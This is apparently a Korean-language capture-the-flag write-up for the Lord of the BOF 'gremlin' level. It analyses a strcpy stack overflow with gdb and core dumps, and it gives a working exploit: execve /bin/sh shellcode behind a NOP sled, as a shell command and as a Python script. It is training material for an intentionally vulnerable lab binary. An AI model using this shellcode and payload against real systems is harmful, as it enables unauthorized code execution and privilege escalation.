gate / gate
0x01. Static Analysis
/*
The Lord of the BOF : The Fellowship of the BOF
- gremlin
- simple BOF
*/
int main(int argc, char *argv[])
{
char buffer[256];
if(argc < 2){
printf("argv error\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
}
제공되는 소스코드를 살펴보면 굉장히 단순한 프로그램이다.
argv로 받은 값을 strcpy함수를 이용하여 크기가 256byte인 buffer배열에 저장한다.
argv[1]의 값을 buffer배열로 복사할때 복사되는 크기가 정해져있지 않아 BoF(Buffer OverFlow) 취약점이 존재한다.
- buffer 배열 크기 256byte
- strcpy를 이용하여 argv[1] 인자 값 buffer 배열로 복사
0x02. Dynamic Analysis
gdb로 gremlin 바이너리를 열어보면 buffer변수의 시작주소는 [ebp-256]이다.
정확한 주소를 알기위해 <main+53> 에 Break Point를 걸고 eax에 들어간 값을 살펴보자.
(gdb) break*main+53
LOB에서 제공되는 바이너리에서는 gdb로 실행 불가능하므로,
gremlin바이너리를 ‘aremlin’이라는 이름으로 복사하여 진행하였다.
파일이름의 길이가 실제 스택에 주소에 영향을 주므로 파일이름의 길이를 똑같이 맞춰주자.
ebp-256의 주소는 0xbffffb88인 것으로 확인되었다.
그리고 실제 strcpy함수가 실행되고 나서 해당 주소에 “AAAABBBBCCCC”가 들어가는지 확인해보자.
정상적으로 값이 들어가는 것을 확인하였다.
여기서 좀 더 확인하면 좋은 것이 있다.
현재 프로그램은 gdb라는 디버거 위에서 돌아가기 때문에, 여기서 구한 주소가 실제 스택에 올라가는 주소라고 보장하기 어렵다. 때문에, 실제 스택상에 올라가는 주소를 정확하게 구하기 위해서는 core 덤프를 확인 해야한다.
ulimit -a
명령어로 core 생성 사이즈가 설정되어 있는지 확인하자. 만약 0으로 설정되어 있다면 ulimit -c unlimited
명령을 주어 설정하자.
core덤프 크기가 설정되었으면 core 덤프를 생성해야 한다.
core덤프는 프로그램이 동작하다가 예상치 못한 주소로 점프하게 되어 프로그램이 죽어버릴 때, 그 순간의 스택 메모리 정보를 저장한 것을 말한다.
ret주소를 “CCCC”로 덮어 core덤프가 생성되도록 해보자.
LOB에서 제공한 ‘gremlin’ 바이너리는 core덤프가 생성되지 않는 바이너리 이므로 앞서 복사해둔 ‘aremlin’ 바이너리로 테스트하면 된다.
아래는 buffer배열을 “A”로 채우고, SFP에는 “B”를 RET주소에는 “C”를 채우는 payload이다.
$ ./aremlin `python -c 'print "A"*256+"BBBB"+"CCCC"'`
생성된 core덤프를 분석해보자.
$ gdb -q -c core
예상한대로 ebp가 “BBBB”로 채워졌으며, EIP가 “CCCC”로 채워졌음을 확인 할 수 있다.
프로그램이 종료된 스택 상태를 살펴보면 “A”라는 문자열이 0xbffffcf0 언저리에서 부터 들어간 것을 확인 할 수 있다.
우리가 buffer배열의 주소로 구한 0xbffffb88과는 확연히 다른 주소이다.
따라서 payload과정에서 시간을 절약하기 위해서 core덤프를 확인하고 진행하는 것이 정신건강에 좋다.
이제 우리의 ret주소는 0xbffffcf0으로 잡고 buffer 앞부분에 NOP코드를 넣어 NOP 슬라이딩시켜 shellcode가 실행되게 하면 될 것 같다.
0x03. Exploit
지금까지 얻은 정보들을 종합하여 RET주소를 변경하여 공격해보자.
- buffer의 크기는 256Byte
- SFP 4Byte
- RET 주소에 0xbffffcf0 주소를 넣으면 된다.
메모리 상태를 예상해보면 아래와 같다.
buffer부분에 shellcode를 올려놓고 ret주소에 buffer주소를 넣으면 함수가 종료되면서 ret주소를 참조하여 해당 주소를 실행할 때, shellcode가 실행되게 된다.
쉘을 실행시키는 shellcode는 다음과 같다.
shell(24byte) = \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80
Payload
NOP(100) + SHELL(24) + NOP(260-100-24) + 0xbffffcf0
$ ./gremlin `python -c 'print "\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"+"\x90"*(260-100-24)+"\xf0\xfc\xff\xbf"'`
0x04. 정리
strcpy함수가 String을 복사할 때 복사하는 크기를 정하지 않아 생기는 BoF취약점을 이용하여 프로그램의 흐름을 조작할 수 있었다. strcpy함수처럼 크기 지정없이 값을 복사하는 메소드들은 BoF 취약점에 노출되어 있다.
import os
import struct
append = lambda x: payload + x
p32 = lambda x: struct.pack("<I", x)
target = "/home/gate/gremlin"
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
buffer_addr = 0xbffffcf0
payload = "\x90"*100
payload = append(shellcode)
payload = append("\x90"*(260-100-24))
payload = append(p32(buffer_addr))
pid = os.fork()
if pid == 0:
os.execv(target, (target, payload))
else:
os.waitpid(pid, 0)